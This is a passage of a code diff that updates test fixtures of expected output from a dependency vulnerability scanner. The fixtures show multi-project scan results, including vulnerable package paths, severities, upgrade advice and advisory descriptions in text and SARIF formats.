[MEDIUM] [https://security.snyk.io/vuln/SNYK-PYTHON-JINJA2-1012994] in jinja2@2.9.6 + introduced by python-pip-app-jarvis2@0.0.0 > jinja2@2.9.6 and 2 other paths + ✗ Sandbox Escape [MEDIUM] [https://security.snyk.io/vuln/SNYK-PYTHON-JINJA2-174126] in jinja2@2.9.6 + introduced by python-pip-app-jarvis2@0.0.0 > jinja2@2.9.6 and 2 other paths + + Upgrade requests@2.17.3 to requests@2.20 to fix + ✗ Information Exposure [CRITICAL] [https://security.snyk.io/vuln/SNYK-PYTHON-REQUESTS-72435] in requests@2.17.3 + introduced by python-pip-app-jarvis2@0.0.0 > requests@2.17.3 and 1 other path + + Upgrade rsa@3.4.2 to rsa@4.7 to fix + ✗ Access Restriction Bypass [MEDIUM] [https://security.snyk.io/vuln/SNYK-PYTHON-RSA-570831] in rsa@3.4.2 + introduced by python-pip-app-jarvis2@0.0.0 > rsa@3.4.2 and 2 other paths + ✗ Timing Attack [HIGH] [https://security.snyk.io/vuln/SNYK-PYTHON-RSA-1038401] in rsa@3.4.2 + introduced by python-pip-app-jarvis2@0.0.0 > rsa@3.4.2 and 2 other paths + + Upgrade urllib3@1.21.1 to urllib3@1.26.5 to fix + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-PYTHON-URLLIB3-1533435] in urllib3@1.21.1 + introduced by python-pip-app-jarvis2@0.0.0 > urllib3@1.21.1 and 2 other paths + ✗ Authentication Bypass [MEDIUM] [https://security.snyk.io/vuln/SNYK-PYTHON-URLLIB3-72681] in urllib3@1.21.1 + introduced by python-pip-app-jarvis2@0.0.0 > urllib3@1.21.1 and 2 other paths + ✗ HTTP Header Injection [HIGH] [https://security.snyk.io/vuln/SNYK-PYTHON-URLLIB3-1014645] in urllib3@1.21.1 + introduced by python-pip-app-jarvis2@0.0.0 > urllib3@1.21.1 and 2 other paths + ✗ CRLF injection [HIGH] [https://security.snyk.io/vuln/SNYK-PYTHON-URLLIB3-174323] in urllib3@1.21.1 + introduced by python-pip-app-jarvis2@0.0.0 > urllib3@1.21.1 and 2 other paths + ✗ Improper Certificate Validation [HIGH] [https://security.snyk.io/vuln/SNYK-PYTHON-URLLIB3-174464] in urllib3@1.21.1 + introduced by python-pip-app-jarvis2@0.0.0 > urllib3@1.21.1 and 2 other paths + + Upgrade werkzeug@0.12.2 to werkzeug@0.15.3 to fix + ✗ Insufficient Randomness [CRITICAL] [https://security.snyk.io/vuln/SNYK-PYTHON-WERKZEUG-458931] in werkzeug@0.12.2 + introduced by python-pip-app-jarvis2@0.0.0 > werkzeug@0.12.2 and 2 other paths + +Issues with no direct upgrade or patch: + ✗ Arbitrary File Upload [MEDIUM] [https://security.snyk.io/vuln/SNYK-PYTHON-SETUPTOOLS-12246955] in setuptools@79.0.1 + introduced by python-pip-app-jarvis2@0.0.0 > apscheduler@3.3.1 > setuptools@79.0.1 + +╭─────────────────────────────────────────────────────────────────╮ +│ Test Summary │ +│ │ +│ Organization: My Org │ +│ Test type: Software Composition Analysis │ +│ Project path: multi-project │ +│ Target file: python-pip-app-jarvis2/requirements.txt │ +│ │ +│ Total security issues: 17 │ +│ Ignored: 0 [ 0 CRITICAL  0 HIGH  0 MEDIUM  0 LOW ] │ +│ Open : 17 [ 2 CRITICAL  8 HIGH  7 MEDIUM  0 LOW ] │ +╰─────────────────────────────────────────────────────────────────╯ ───────────────────────────────────────────────────── -Testing (tsc/package.json) ... +Testing (package.json) ... -Tested 23 dependencies for known issues, found 19 issues, 27 vulnerable paths. +Tested 459 dependencies for known issues, found 8 issues, 107 vulnerable paths. -Open Security issues: 19 +Open Security issues: 8 - ✗ [LOW] Cross-site Scripting - Finding ID: SNYK-JS-SEND-7926862 - Info: https://snyk.io/vuln/SNYK-JS-SEND-7926862 - Introduced by: send - Introduced through: tsc@1.0.0 > express@4.0.0 > send@0.2.0 - Risk Score: 57 - - ✗ [LOW] Cross-site Scripting - Finding ID: SNYK-JS-SERVESTATIC-7926865 - Info: https://snyk.io/vuln/SNYK-JS-SERVESTATIC-7926865 - Introduced by: serve-static - Introduced through: tsc@1.0.0 > express@4.0.0 > serve-static@1.0.1 - Risk Score: 57 - - ✗ [LOW] Regular Expression Denial of Service (ReDoS) - Finding ID: npm:mime:20170907 - Info: https://snyk.io/vuln/npm:mime:20170907 - Introduced by: mime - Introduced through: tsc@1.0.0 > express@4.0.0 > accepts@1.0.0 > mime@1.2.11 - Risk Score: 35 + ✗ [MEDIUM] Cross-site Scripting (XSS) + Finding ID: SNYK-JS-COLORNAME-17614999 + Info: https://snyk.io/vuln/SNYK-JS-COLORNAME-17614999 + Introduced by: color-name + Introduced through: snyk@1.0.0-monorepo > @snyk/fix@1.0.0-monorepo > chalk@4.1.1 > ansi-styles@4.3.0 > color-convert@2.0.1 > color-name@1.1.4 - ✗ [LOW] Open Redirect - Finding ID: npm:serve-static:20150113 - Info: https://snyk.io/vuln/npm:serve-static:20150113 - Introduced by: serve-static - Introduced through: tsc@1.0.0 > express@4.0.0 > serve-static@1.0.1 - Risk Score: 24 + ✗ [MEDIUM] Regular Expression Denial of Service (ReDoS) + Finding ID: SNYK-JS-DEBUG-13283909 + Info: https://snyk.io/vuln/SNYK-JS-DEBUG-13283909 + Introduced by: debug + Introduced through: snyk@1.0.0-monorepo > snyk-docker-plugin@9.11.0 > debug@4.4.3 - ✗ [MEDIUM] Cross-site Scripting (XSS) - Finding ID: SNYK-JS-COOKIE-8163060 - Info: https://snyk.io/vuln/SNYK-JS-COOKIE-8163060 - Introduced by: cookie - Introduced through: tsc@1.0.0 > express@4.0.0 > cookie@0.1.0 - Risk Score: 34 + ✗ [MEDIUM] Alternate solution to CWE-1333 | Inefficient Regular Expression Complexity + Finding ID: SNYK-JS-DEBUG-14214893 + Info: https://snyk.io/vuln/SNYK-JS-DEBUG-14214893 + Introduced by: debug + Introduced through: snyk@1.0.0-monorepo > debug@4.3.4 ✗ [MEDIUM] Open Redirect - Finding ID: SNYK-JS-EXPRESS-6474509 - Info: https://snyk.io/vuln/SNYK-JS-EXPRESS-6474509 - Introduced by: express - Introduced through: tsc@1.0.0 > express@4.0.0 - Risk Score: 74 - - ✗ [MEDIUM] Cross-site Scripting - Finding ID: SNYK-JS-EXPRESS-7926867 - Info: https://snyk.io/vuln/SNYK-JS-EXPRESS-7926867 - Introduced by: express - Introduced through: tsc@1.0.0 > express@4.0.0 - Risk Score: 75 + Finding ID: SNYK-JS-GOT-2932019 + Info: https://snyk.io/vuln/SNYK-JS-GOT-2932019 + Introduced by: got + Introduced through: snyk@1.0.0-monorepo > snyk-nodejs-lockfile-parser@2.8.1 > @yarnpkg/core@4.5.0 > got@11.8.2 ✗ [MEDIUM] Regular Expression Denial of Service (ReDoS) - Finding ID: SNYK-JS-PATHTOREGEXP-7925106 - Info: https://snyk.io/vuln/SNYK-JS-PATHTOREGEXP-7925106 - Introduced by: path-to-regexp - Introduced through: tsc@1.0.0 > express@4.0.0 > path-to-regexp@0.1.2 - Risk Score: 57 + Finding ID: SNYK-JS-MARKED-2342073 + Info: https://snyk.io/vuln/SNYK-JS-MARKED-2342073 + Introduced by: marked + Introduced through: snyk@1.0.0-monorepo > marked@4.0.1 ✗ [MEDIUM] Regular Expression Denial of Service (ReDoS) - Finding ID: SNYK-JS-PATHTOREGEXP-8482416 - Info: https://snyk.io/vuln/SNYK-JS-PATHTOREGEXP-8482416 - Introduced by: path-to-regexp - Introduced through: tsc@1.0.0 > express@4.0.0 > path-to-regexp@0.1.2 - Risk Score: 61 - - ✗ [MEDIUM] Non-Constant Time String Comparison - Finding ID: npm:cookie-signature:20160804 - Info: https://snyk.io/vuln/npm:cookie-signature:20160804 - Introduced by: cookie-signature - Introduced through: tsc@1.0.0 > express@4.0.0 > cookie-signature@1.0.3 - Risk Score: 86 - - ✗ [MEDIUM] Cross-site Scripting (XSS) - Finding ID: npm:express:20140912 - Info: https://snyk.io/vuln/npm:express:20140912 - Introduced by: express - Introduced through: tsc@1.0.0 > express@4.0.0 - Risk Score: 69 - - ✗ [MEDIUM] Denial of Service (DoS) - Finding ID: npm:qs:20140806-1 - Info: https://snyk.io/vuln/npm:qs:20140806-1 - Introduced by: qs - Introduced through: tsc@1.0.0 > express@4.0.0 > qs@0.6.6 - Risk Score: 74 - - ✗ [MEDIUM] Directory Traversal - Finding ID: npm:send:20140912 - Info: https://snyk.io/vuln/npm:send:20140912 - Introduced by: send - Introduced through: tsc@1.0.0 > express@4.0.0 > send@0.2.0 - Risk Score: 39 - - ✗ [MEDIUM] Root Path Disclosure - Finding ID: npm:send:20151103 - Info: https://snyk.io/vuln/npm:send:20151103 - Introduced by: send - Introduced through: tsc@1.0.0 > express@4.0.0 > send@0.2.0 - Risk Score: 40 - - ✗ [HIGH] Prototype Poisoning - Finding ID: SNYK-JS-QS-3153490 - Info: https://snyk.io/vuln/SNYK-JS-QS-3153490 - Introduced by: qs - Introduced through: tsc@1.0.0 > express@4.0.0 > qs@0.6.6 - Risk Score: 150 + Finding ID: SNYK-JS-MARKED-2342082 + Info: https://snyk.io/vuln/SNYK-JS-MARKED-2342082 + Introduced by: marked + Introduced through: snyk@1.0.0-monorepo > marked@4.0.1 - ✗ [HIGH] Regular Expression Denial of Service (ReDoS) - Finding ID: npm:fresh:20170908 - Info: https://snyk.io/vuln/npm:fresh:20170908 - Introduced by: fresh - Introduced through: tsc@1.0.0 > express@4.0.0 > fresh@0.2.2 - Risk Score: 101 - - ✗ [HIGH] Regular Expression Denial of Service (ReDoS) - Finding ID: npm:negotiator:20160616 - Info: https://snyk.io/vuln/npm:negotiator:20160616 - Introduced by: negotiator - Introduced through: tsc@1.0.0 > express@4.0.0 > accepts@1.0.0 > negotiator@0.3.0 - Risk Score: 101 + ✗ [HIGH] Directory Traversal + Finding ID: SNYK-JS-ASYNC-12239908 + Info: https://snyk.io/vuln/SNYK-JS-ASYNC-12239908 + Introduced by: async + Introduced through: snyk@1.0.0-monorepo > snyk-config@5.2.0 > async@3.2.6 ✗ [HIGH] Denial of Service (DoS) - Finding ID: npm:qs:20140806 - Info: https://snyk.io/vuln/npm:qs:20140806 - Introduced by: qs - Introduced through: tsc@1.0.0 > express@4.0.0 > qs@0.6.6 - Risk Score: 105 - - ✗ [HIGH] Prototype Override Protection Bypass - Finding ID: npm:qs:20170213 - Info: https://snyk.io/vuln/npm:qs:20170213 - Introduced by: qs - Introduced through: tsc@1.0.0 > express@4.0.0 > qs@0.6.6 - Risk Score: 101 + Finding ID: SNYK-JS-LODASH-12239302 + Info: https://snyk.io/vuln/SNYK-JS-LODASH-12239302 + Introduced by: lodash + Introduced through: snyk@1.0.0-monorepo > snyk-docker-plugin@9.11.0 > snyk-poetry-lockfile-parser@1.9.1 > lodash@4.18.1 Issues to fix by upgrading: - Upgrade express@4.0.0 to express@4.21.2 to fix - ✗ Cross-site Scripting [LOW] [https://security.snyk.io/vuln/SNYK-JS-SEND-7926862] in send@0.2.0 - introduced by tsc@1.0.0 > express@4.0.0 > send@0.2.0 and 1 other path - ✗ Cross-site Scripting [LOW] [https://security.snyk.io/vuln/SNYK-JS-SERVESTATIC-7926865] in serve-static@1.0.1 - introduced by tsc@1.0.0 > express@4.0.0 > serve-static@1.0.1 - ✗ Regular Expression Denial of Service (ReDoS) [LOW] [https://security.snyk.io/vuln/npm:mime:20170907] in mime@1.2.11 - introduced by tsc@1.0.0 > express@4.0.0 > accepts@1.0.0 > mime@1.2.11 and 3 other paths - ✗ Open Redirect [LOW] [https://security.snyk.io/vuln/npm:serve-static:20150113] in serve-static@1.0.1 - introduced by tsc@1.0.0 > express@4.0.0 > serve-static@1.0.1 - ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-COOKIE-8163060] in cookie@0.1.0 - introduced by tsc@1.0.0 > express@4.0.0 > cookie@0.1.0 - ✗ Open Redirect [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-EXPRESS-6474509] in express@4.0.0 - introduced by tsc@1.0.0 > express@4.0.0 - ✗ Cross-site Scripting [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-EXPRESS-7926867] in express@4.0.0 - introduced by tsc@1.0.0 > express@4.0.0 - ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-PATHTOREGEXP-7925106] in path-to-regexp@0.1.2 - introduced by tsc@1.0.0 > express@4.0.0 > path-to-regexp@0.1.2 - ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-PATHTOREGEXP-8482416] in path-to-regexp@0.1.2 - introduced by tsc@1.0.0 > express@4.0.0 > path-to-regexp@0.1.2 - ✗ Non-Constant Time String Comparison [MEDIUM] [https://security.snyk.io/vuln/npm:cookie-signature:20160804] in cookie-signature@1.0.3 - introduced by tsc@1.0.0 > express@4.0.0 > cookie-signature@1.0.3 - ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/npm:express:20140912] in express@4.0.0 - introduced by tsc@1.0.0 > express@4.0.0 - ✗ Denial of Service (DoS) [MEDIUM] [https://security.snyk.io/vuln/npm:qs:20140806-1] in qs@0.6.6 - introduced by tsc@1.0.0 > express@4.0.0 > qs@0.6.6 - ✗ Directory Traversal [MEDIUM] [https://security.snyk.io/vuln/npm:send:20140912] in send@0.2.0 - introduced by tsc@1.0.0 > express@4.0.0 > send@0.2.0 and 1 other path - ✗ Root Path Disclosure [MEDIUM] [https://security.snyk.io/vuln/npm:send:20151103] in send@0.2.0 - introduced by tsc@1.0.0 > express@4.0.0 > send@0.2.0 and 1 other path - ✗ Prototype Poisoning [HIGH] [https://security.snyk.io/vuln/SNYK-JS-QS-3153490] in qs@0.6.6 - introduced by tsc@1.0.0 > express@4.0.0 > qs@0.6.6 - ✗ Regular Expression Denial of Service (ReDoS) [HIGH] [https://security.snyk.io/vuln/npm:fresh:20170908] in fresh@0.2.2 - introduced by tsc@1.0.0 > express@4.0.0 > fresh@0.2.2 and 2 other paths - ✗ Regular Expression Denial of Service (ReDoS) [HIGH] [https://security.snyk.io/vuln/npm:negotiator:20160616] in negotiator@0.3.0 - introduced by tsc@1.0.0 > express@4.0.0 > accepts@1.0.0 > negotiator@0.3.0 - ✗ Denial of Service (DoS) [HIGH] [https://security.snyk.io/vuln/npm:qs:20140806] in qs@0.6.6 - introduced by tsc@1.0.0 > express@4.0.0 > qs@0.6.6 - ✗ Prototype Override Protection Bypass [HIGH] [https://security.snyk.io/vuln/npm:qs:20170213] in qs@0.6.6 - introduced by tsc@1.0.0 > express@4.0.0 > qs@0.6.6 - -╭───────────────────────────────────────────────────────────╮ -│ Test Summary │ -│ │ -│ Organization: My Org │ -│ Test type: Software Composition Analysis │ -│ Project path: multi-project │ -│ Target file: tsc/package.json │ -│ │ -│ Total security issues: 19 │ -│ Ignored: 0 [ 0 CRITICAL  0 HIGH  0 MEDIUM  0 LOW ] │ -│ Open : 19 [ 0 CRITICAL  5 HIGH  10 MEDIUM  4 LOW ] │ -╰───────────────────────────────────────────────────────────╯ + Upgrade @snyk/fix@1.0.0-monorepo to @snyk/fix@1.471.0 to fix + ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-COLORNAME-17614999] in color-name@1.1.4 + introduced by snyk@1.0.0-monorepo > @snyk/fix@1.0.0-monorepo > chalk@4.1.1 > ansi-styles@4.3.0 > color-convert@2.0.1 > color-name@1.1.4 and 15 other paths + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-DEBUG-13283909] in debug@4.4.3 + introduced by snyk@1.0.0-monorepo > snyk-docker-plugin@9.11.0 > debug@4.4.3 and 36 other paths + ✗ Alternate solution to CWE-1333 | Inefficient Regular Expression Complexity [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-DEBUG-14214893] in debug@4.3.4 + introduced by snyk@1.0.0-monorepo > debug@4.3.4 and 36 other paths + + Upgrade chalk@2.4.2 to chalk@5.0.0 to fix + ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-COLORNAME-17614999] in color-name@1.1.4 + introduced by snyk@1.0.0-monorepo > @snyk/fix@1.0.0-monorepo > chalk@4.1.1 > ansi-styles@4.3.0 > color-convert@2.0.1 > color-name@1.1.4 and 15 other paths + + Upgrade marked@4.0.1 to marked@4.0.10 to fix + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-MARKED-2342073] in marked@4.0.1 + introduced by snyk@1.0.0-monorepo > marked@4.0.1 + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-MARKED-2342082] in marked@4.0.1 + introduced by snyk@1.0.0-monorepo > marked@4.0.1 + + Upgrade ora@5.4.0 to ora@6.1.0 to fix + ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-COLORNAME-17614999] in color-name@1.1.4 + introduced by snyk@1.0.0-monorepo > @snyk/fix@1.0.0-monorepo > chalk@4.1.1 > ansi-styles@4.3.0 > color-convert@2.0.1 > color-name@1.1.4 and 15 other paths + + Upgrade wrap-ansi@5.1.0 to wrap-ansi@8.0.0 to fix + ✗ Cross-site Scripting (XSS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-COLORNAME-17614999] in color-name@1.1.4 + introduced by snyk@1.0.0-monorepo > @snyk/fix@1.0.0-monorepo > chalk@4.1.1 > ansi-styles@4.3.0 > color-convert@2.0.1 > color-name@1.1.4 and 15 other paths + +Issues with no direct upgrade or patch: + ✗ Regular Expression Denial of Service (ReDoS) [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-DEBUG-13283909] in debug@4.4.3 + introduced by snyk@1.0.0-monorepo > snyk-docker-plugin@9.11.0 > debug@4.4.3 and 36 other paths + ✗ Alternate solution to CWE-1333 | Inefficient Regular Expression Complexity [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-DEBUG-14214893] in debug@4.3.4 + introduced by snyk@1.0.0-monorepo > debug@4.3.4 and 36 other paths + ✗ Open Redirect [MEDIUM] [https://security.snyk.io/vuln/SNYK-JS-GOT-2932019] in got@11.8.2 + introduced by snyk@1.0.0-monorepo > snyk-nodejs-lockfile-parser@2.8.1 > @yarnpkg/core@4.5.0 > got@11.8.2 and 2 other paths + This issue was fixed in: 11.8.5, 12.1.0 + ✗ Directory Traversal [HIGH] [https://security.snyk.io/vuln/SNYK-JS-ASYNC-12239908] in async@3.2.6 + introduced by snyk@1.0.0-monorepo > snyk-config@5.2.0 > async@3.2.6 and 3 other paths + ✗ Denial of Service (DoS) [HIGH] [https://security.snyk.io/vuln/SNYK-JS-LODASH-12239302] in lodash@4.18.1 + introduced by snyk@1.0.0-monorepo > snyk-docker-plugin@9.11.0 > snyk-poetry-lockfile-parser@1.9.1 > lodash@4.18.1 and 7 other paths + +╭─────────────────────────────────────────────────────────╮ +│ Test Summary │ +│ │ +│ Organization: My Org │ +│ Test type: Software Composition Analysis │ +│ Project path: multi-project │ +│ Target file: package.json │ +│ │ +│ Total security issues: 8 │ +│ Ignored: 0 [ 0 CRITICAL  0 HIGH  0 MEDIUM  0 LOW ] │ +│ Open : 8 [ 0 CRITICAL  2 HIGH  6 MEDIUM  0 LOW ] │ +╰─────────────────────────────────────────────────────────╯ ───────────────────────────────────────────────────── -╭────────────────────────────────────────────────────────────╮ -│ Overall Test Summary │ -│ │ -│ Organization: My Org │ -│ Test type: Software Composition Analysis │ -│ Projects tested: 7 projects │ -│ │ -│ Total security issues: 67 │ -│ Ignored: 0 [ 0 CRITICAL  0 HIGH  0 MEDIUM  0 LOW ] │ -│ Open : 67 [ 0 CRITICAL  19 HIGH  40 MEDIUM  8 LOW ] │ -╰────────────────────────────────────────────────────────────╯ +╭─────────────────────────────────────────────────────────────╮ +│ Overall Test Summary │ +│ │ +│ Organization: My Org │ +│ Test type: Software Composition Analysis │ +│ Projects tested: 4 projects │ +│ │ +│ Total security issues: 200 │ +│ Ignored: 0 [ 0 CRITICAL  0 HIGH  0 MEDIUM  0 LOW ] │ +│ Open : 200 [ 7 CRITICAL  86 HIGH  98 MEDIUM  9 LOW ] │ +╰─────────────────────────────────────────────────────────────╯ 💡 Tip diff --git a/internal/presenters/testdata/ufm/multi_project.sarif.json b/internal/presenters/testdata/ufm/multi_project.sarif.json index b5d06bdbb..5882804b6 100644 --- a/internal/presenters/testdata/ufm/multi_project.sarif.json +++ b/internal/presenters/testdata/ufm/multi_project.sarif.json @@ -1,3870 +1,13381 @@ -{ - "$schema": "https://docs.oasis-open.org/sarif/sarif/v2.1.0/errata01/os/schemas/sarif-schema-2.1.0.json", - "version": "2.1.0", - "runs": [ - { - "tool": { - "driver": { - "name": "Snyk Open Source", - "semanticVersion": "1.1301.0", - "version": "1.1301.0", - "informationUri": "https://docs.snyk.io/", - "properties": { - "artifactsScanned": 84 - }, - "rules": [ - { - "id": "SNYK-DOTNET-SYSTEMNETHTTP-60045", - "shortDescription": { - "text": "High severity - Denial of Service (DoS) vulnerability in System.Net.Http" - }, - "fullDescription": { - "text": "(CVE-2017-0247) System.Net.Http@4.3.0" - }, - "help": { - "text": "", - "markdown": "* Package Manager: nuget\n* Vulnerable module: System.Net.Http\n* Introduced through: tpwe@1.0.0, NSubstitute@4.3.0 and others\n### Detailed paths\n* _Introduced through_: tpwe@1.0.0 › NSubstitute@4.3.0 › Castle.Core@4.4.1 › NETStandard.Library@1.6.1 › System.Net.Http@4.3.0\n# Overview\n\n[System.Net.Http](https://www.nuget.org/packages/System.Net.Http/) is an Provides a programming interface for modern HTTP applications, including HTTP client components that allow applications to consume web services over HTTP and HTTP components that can be used by both clients and servers for parsing HTTP headers.\n\n\nAffected versions of this package are vulnerable to Denial of Service (DoS)\nas `ASP.NET Core` fails to properly validate web requests.\r\n\r\n**NOTE:** Microsoft has not commented on third-party claims that the issue is that the `TextEncoder.EncodeCore` function in the `System.Text.Encodings.Web` package in ASP.NET Core Mvc before 1.0.4 and 1.1.x before 1.1.3 allows remote attackers to cause a denial of service by leveraging failure to properly calculate the length of 4-byte characters in the Unicode Non-Character range.\n\n# Details\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\r\n\r\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\r\n\r\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\r\n\r\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\r\n\r\nTwo common types of DoS vulnerabilities:\r\n\r\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](SNYK-JAVA-COMMONSFILEUPLOAD-30082).\r\n\r\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](npm:ws:20171108)\n\n# Remediation\n\nUpgrade `System.Net.Http` to version 4.1.2, 4.3.2 or higher.\n\n\n# References\n\n- [GitHub Issue](https://github.com/aspnet/Announcements/issues/239)\n\n- [Microsoft Security Advisory](https://technet.microsoft.com/en-us/library/security/4021279.aspx)\n\n- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2017-0247)\n" - }, - "properties": { - "tags": ["security", "CWE-254", "nuget"], - "cvssv3_baseScore": 7.5, - "security-severity": "7.5" - } - }, - { - "id": "SNYK-DOTNET-SYSTEMNETHTTP-60046", - "shortDescription": { - "text": "High severity - Improper Certificate Validation vulnerability in System.Net.Http" - }, - "fullDescription": { - "text": "(CVE-2017-0248) System.Net.Http@4.3.0" - }, - "help": { - "text": "", - "markdown": "* Package Manager: nuget\n* Vulnerable module: System.Net.Http\n* Introduced through: tpwe@1.0.0, NSubstitute@4.3.0 and others\n### Detailed paths\n* _Introduced through_: tpwe@1.0.0 › NSubstitute@4.3.0 › Castle.Core@4.4.1 › NETStandard.Library@1.6.1 › System.Net.Http@4.3.0\n# Overview\n[System.Net.Http](https://www.nuget.org/packages/System.Net.Http/) is a Provides a programming interface for modern HTTP applications, including HTTP client components that allow applications to consume web services over HTTP and HTTP components that can be used by both clients and servers for parsing HTTP headers.\n\nAffected versions of this package are vulnerable to Improper Certificate Validation. It allows an attacker to bypass _Enhanced Security Usage_ tagging when they present a certificate that is invalid for a specific use.\n# Remediation\nUpgrade `System.Net.Http` to version 4.1.2, 4.3.2 or higher.\n# References\n- [GitHub Issue](https://github.com/aspnet/Announcements/issues/239)\n- [Microsoft Security Advisory](https://technet.microsoft.com/en-us/library/security/4021279.aspx)\n- [NVD](https://nvd.nist.gov/vuln/detail/2017-0248)\n" - }, - "properties": { - "tags": ["security", "CWE-287", "nuget"], - "cvssv3_baseScore": 7.5, - "security-severity": "7.5" - } - }, - { - "id": "SNYK-DOTNET-SYSTEMNETHTTP-60047", - "shortDescription": { - "text": "High severity - Privilege Escalation vulnerability in System.Net.Http" - }, - "fullDescription": { - "text": "(CVE-2017-0249) System.Net.Http@4.3.0" - }, - "help": { - "text": "", - "markdown": "* Package Manager: nuget\n* Vulnerable module: System.Net.Http\n* Introduced through: tpwe@1.0.0, NSubstitute@4.3.0 and others\n### Detailed paths\n* _Introduced through_: tpwe@1.0.0 › NSubstitute@4.3.0 › Castle.Core@4.4.1 › NETStandard.Library@1.6.1 › System.Net.Http@4.3.0\n# Overview\n\n[System.Net.Http](https://www.nuget.org/packages/System.Net.Http/) Provides a programming interface for modern HTTP applications, including HTTP client components that allow applications to consume web services over HTTP and HTTP components that can be used by both clients and servers for parsing HTTP headers.\n\n\nAffected versions of this package are vulnerable to Privilege Escalation\ndue to failing to properly sanitize web requests.\n\n# Remediation\n\nUpgrade `System.Net.Http` to version 4.1.2, 4.3.2 or higher.\n\n\n# References\n\n- [GitHub Issue](https://github.com/aspnet/Announcements/issues/239)\n" - }, - "properties": { - "tags": ["security", "CWE-269", "nuget"], - "cvssv3_baseScore": 7.3, - "security-severity": "7.3" - } - }, - { - "id": "SNYK-DOTNET-SYSTEMNETHTTP-60048", - "shortDescription": { - "text": "Medium severity - Authentication Bypass vulnerability in System.Net.Http" - }, - "fullDescription": { - "text": "(CVE-2017-0256) System.Net.Http@4.3.0" - }, - "help": { - "text": "", - "markdown": "* Package Manager: nuget\n* Vulnerable module: System.Net.Http\n* Introduced through: tpwe@1.0.0, NSubstitute@4.3.0 and others\n### Detailed paths\n* _Introduced through_: tpwe@1.0.0 › NSubstitute@4.3.0 › Castle.Core@4.4.1 › NETStandard.Library@1.6.1 › System.Net.Http@4.3.0\n# Overview\nThe ASP.NET Core fails to properly sanitize the _Web Request Handler_ component, allowing an attacker to spoof web requests and bypass authentication.\n\n# References\n- [https://github.com/aspnet/Announcements/issues/239](https://github.com/aspnet/Announcements/issues/239)\n- [https://technet.microsoft.com/en-us/library/security/4021279.aspx](https://technet.microsoft.com/en-us/library/security/4021279.aspx)\n- [https://nvd.nist.gov/vuln/detail/2017-0256](https://nvd.nist.gov/vuln/detail/2017-0256)\n" - }, - "properties": { - "tags": ["security", "CWE-20", "nuget"], - "cvssv3_baseScore": 5.3, - "security-severity": "5.3" - } - }, - { - "id": "SNYK-DOTNET-SYSTEMNETHTTP-72439", - "shortDescription": { - "text": "High severity - Information Exposure vulnerability in System.Net.Http" - }, - "fullDescription": { - "text": "(CVE-2018-8292) System.Net.Http@4.3.0" - }, - "help": { - "text": "", - "markdown": "* Package Manager: nuget\n* Vulnerable module: System.Net.Http\n* Introduced through: tpwe@1.0.0, NSubstitute@4.3.0 and others\n### Detailed paths\n* _Introduced through_: tpwe@1.0.0 › NSubstitute@4.3.0 › Castle.Core@4.4.1 › NETStandard.Library@1.6.1 › System.Net.Http@4.3.0\n# Overview\n\n[System.Net.Http](https://www.nuget.org/packages/System.Net.Http/) Provides a programming interface for modern HTTP applications, including HTTP client components that allow applications to consume web services over HTTP and HTTP components that can be used by both clients and servers for parsing HTTP headers.\n\n\nAffected versions of this package are vulnerable to Information Exposure.\nWhen HTTP authentication information is inadvertently exposed in an outbound request that encounters an HTTP redirect. An attacker who successfully exploited this vulnerability could use the information to further compromise the web application.\r\n\r\n**Note:** The presence of `System.Net.Http` in the dependency graph of `netcoreapp2.0` isn't the final determination of what is loaded at runtime. The version conflict resolution logic will prefer what is present in `Microsoft.NETCore.App/2.1.5`, or the latest patch release. As such, is not considered an issue.\n\n# Remediation\n\nUpgrade `System.Net.Http` to version 2.0.20710, 4.0.1-beta-23225, 4.1.4, 4.3.4 or higher.\n\n\n# References\n\n- [GitHub Issue](https://github.com/dotnet/announcements/issues/88)\n" - }, - "properties": { - "tags": ["security", "CWE-200", "nuget"], - "cvssv3_baseScore": 7.5, - "security-severity": "7.5" - } - }, - { - "id": "SNYK-DOTNET-SYSTEMTEXTREGULAREXPRESSIONS-174708", - "shortDescription": { - "text": "High severity - Regular Expression Denial of Service (ReDoS) vulnerability in System.Text.RegularExpressions" - }, - "fullDescription": { - "text": "(CVE-2019-0820) System.Text.RegularExpressions@4.3.0" - }, - "help": { - "text": "", - "markdown": "* Package Manager: nuget\n* Vulnerable module: System.Text.RegularExpressions\n* Introduced through: tpwe@1.0.0, NSubstitute@4.3.0 and others\n### Detailed paths\n* _Introduced through_: tpwe@1.0.0 › NSubstitute@4.3.0 › Castle.Core@4.4.1 › NETStandard.Library@1.6.1 › System.Text.RegularExpressions@4.3.0\n* _Introduced through_: tpwe@1.0.0 › NSubstitute@4.3.0 › 